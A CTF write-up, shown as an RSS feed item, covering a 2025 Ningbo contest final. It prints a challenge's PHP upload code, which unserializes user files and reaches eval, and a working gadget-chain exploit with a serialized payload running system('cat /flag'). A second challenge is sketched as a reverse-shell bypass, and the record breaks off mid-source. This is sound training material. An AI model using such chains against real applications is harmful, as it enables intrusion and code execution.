<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/categories/ctf/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/categories/ctf/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sat, 06 Sep 2025 20:48:29 +0800</lastBuildDate><item><title>2025宁波市第八届网络安全大赛决赛Writeup</title><link>https://h4cker.zip/12ffc6/</link><pubDate>Sat, 06 Sep 2025 20:48:29 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/12ffc6/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>很幸运的拿到了榜一，队友太强了，AWDP玩的很少，不过这次break 和 fix都有成果。</p>
<p>Break 第一，Fix 第四</p>
<h1 id="web-easyupload">[web] easyUpload<a class="anchor" href="#web-easyupload">#</a></h1>
<h2 id="break">break<a class="anchor" href="#break">#</a></h2>
<p>F12检查图片，发现通过<code>/show.php?file=img/1.png</code>来读取</p>
<p>任意文件读取，flag被ban，读index.php源码</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">Class</span> <span class="nc">Dog</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">public</span> <span class="nv">$bone</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$meat</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$beef</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">public</span> <span class="nv">$candy</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__invoke</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">if</span> <span class="p">((</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">meat</span><span class="p">)</span> <span class="o">==</span> <span class="nx">md5</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">beef</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">meat</span> <span class="o">!=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">beef</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">candy</span><span class="o">-&gt;</span><span class="na">flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="nv">$function</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">bone</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">return</span> <span class="nv">$function</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">CLass</span> <span class="nc">mouse</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">public</span> <span class="nv">$rice</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__get</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">rice</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="k">class</span> <span class="nc">Cat</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">public</span> <span class="nv">$fish</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">fish</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="c1">// 处理文件上传
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="nv">$message</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="nv">$success</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;REQUEST_METHOD&#39;</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;POST&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;uploaded_file&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="nv">$uploadDir</span> <span class="o">=</span> <span class="no">__DIR__</span> <span class="o">.</span> <span class="s1">&#39;/uploads/&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="nv">$uploadedFile</span> <span class="o">=</span> <span class="nv">$uploadDir</span> <span class="o">.</span> <span class="nx">basename</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;uploaded_file&#39;</span><span class="p">][</span><span class="s1">&#39;name&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;uploaded_file&#39;</span><span class="p">][</span><span class="s1">&#39;tmp_name&#39;</span><span class="p">],</span> <span class="nv">$uploadedFile</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">            <span class="nv">$message</span> <span class="o">=</span> <span class="s1">&#39;上传成功！&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">            <span class="nv">$success</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">            <span class="nv">$fileContent</span> <span class="o">=</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$uploadedFile</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">            <span class="o">@</span><span class="nx">unlink</span><span class="p">(</span><span class="nv">$uploadedFile</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl">            <span class="o">@</span><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$fileContent</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">            <span class="nv">$fileContent</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">
</span></span><span class="line"><span class="ln">55</span><span class="cl">            <span class="c1">// 设置 session，表示上传成功
</span></span></span><span class="line"><span class="ln">56</span><span class="cl">            <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;upload_success&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl">            <span class="c1">// 重定向，防止刷新页面时重复提交表单
</span></span></span><span class="line"><span class="ln">59</span><span class="cl">            <span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Location: &#34;</span> <span class="o">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;PHP_SELF&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">            <span class="k">echo</span> <span class="nv">$message</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">            <span class="k">exit</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="ln">66</span><span class="cl"><span class="err">&lt;!DOCTYPE html&gt;
</span></span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="err">&lt;html lang=&#34;zh-CN&#34;&gt;
</span></span></span><span class="line"><span class="ln">68</span><span class="cl"><span class="err">...
</span></span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="err">&lt;/html&gt;
</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">easyUpload源码</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>反序列化，经过一个md5绕过</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">// 启动 session
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">session_start</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">Class</span> <span class="nc">Dog</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">public</span> <span class="nv">$bone</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="nv">$meat</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">public</span> <span class="nv">$beef</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">public</span> <span class="nv">$candy</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__invoke</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">if</span> <span class="p">((</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">meat</span><span class="p">)</span> <span class="o">==</span> <span class="nx">md5</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">beef</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">meat</span> <span class="o">!=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">beef</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">            <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">candy</span><span class="o">-&gt;</span><span class="na">flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nv">$function</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">bone</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">return</span> <span class="nv">$function</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">CLass</span> <span class="nc">mouse</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">public</span> <span class="nv">$rice</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__get</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">rice</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">class</span> <span class="nc">Cat</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">public</span> <span class="nv">$fish</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">fish</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="nv">$a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Cat</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Dog</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span><span class="o">-&gt;</span><span class="na">bone</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Dog</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span><span class="o">-&gt;</span><span class="na">bone</span><span class="o">-&gt;</span><span class="na">meat</span> <span class="o">=</span> <span class="s1">&#39;s878926199a&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span><span class="o">-&gt;</span><span class="na">bone</span><span class="o">-&gt;</span><span class="na">beef</span> <span class="o">=</span> <span class="s1">&#39;s155964671a&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span><span class="o">-&gt;</span><span class="na">bone</span><span class="o">-&gt;</span><span class="na">candy</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">mouse</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">fish</span><span class="o">-&gt;</span><span class="na">bone</span><span class="o">-&gt;</span><span class="na">candy</span><span class="o">-&gt;</span><span class="na">rice</span> <span class="o">=</span> <span class="s2">&#34;system(&#39;cat /flag&#39;);&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="c1"># O:3:&#34;Cat&#34;:1:{s:4:&#34;fish&#34;;O:3:&#34;Dog&#34;:4:{s:4:&#34;bone&#34;;O:3:&#34;Dog&#34;:4:{s:4:&#34;bone&#34;;N;s:4:&#34;meat&#34;;s:11:&#34;s878926199a&#34;;s:4:&#34;beef&#34;;s:11:&#34;s155964671a&#34;;s:5:&#34;candy&#34;;O:5:&#34;mouse&#34;:1:{s:4:&#34;rice&#34;;s:20:&#34;system(&#39;cat /flag&#39;);&#34;;}}s:4:&#34;meat&#34;;N;s:4:&#34;beef&#34;;N;s:5:&#34;candy&#34;;N;}}
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/12ffc6/easyUpload.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1720" height="922"
/>
</p>
<h1 id="web-img2base64">[web] img2base64<a class="anchor" href="#web-img2base64">#</a></h1>
<h2 id="break-1">break<a class="anchor" href="#break-1">#</a></h2>
<p>我觉得这题是最难的一题，现场也没几个人做出来</p>
<p>用到一些小trick</p>
<p>首先要绕一些字符，管道符截断，环境变量反弹shell，无密码读取文件</p>
<blockquote>
<p>小明打ctf上头了，发什么消息都用编码发送，于是他搭建了一个web服务用来将图片进行base64编码，粗心的小明没有考虑安全问题，你能帮他看看吗?</p>
</blockquote>
<p>平台给了源码</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">subprocess</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">jsonify</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">UPLOAD_FOLDER</span> <span class="o">=</span> <span class="s1">&#39;uploads/&#39;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">UPLOAD_FOLDER</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">os</span><span class="o">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">UPLOAD_FOLDER</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">app</span><span class="o">.</span><span class="n">config</span><span class="p">[</span><span class="s1">&#39;UPLOAD_FOLDER&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">UPLOAD_FOLDER</span>
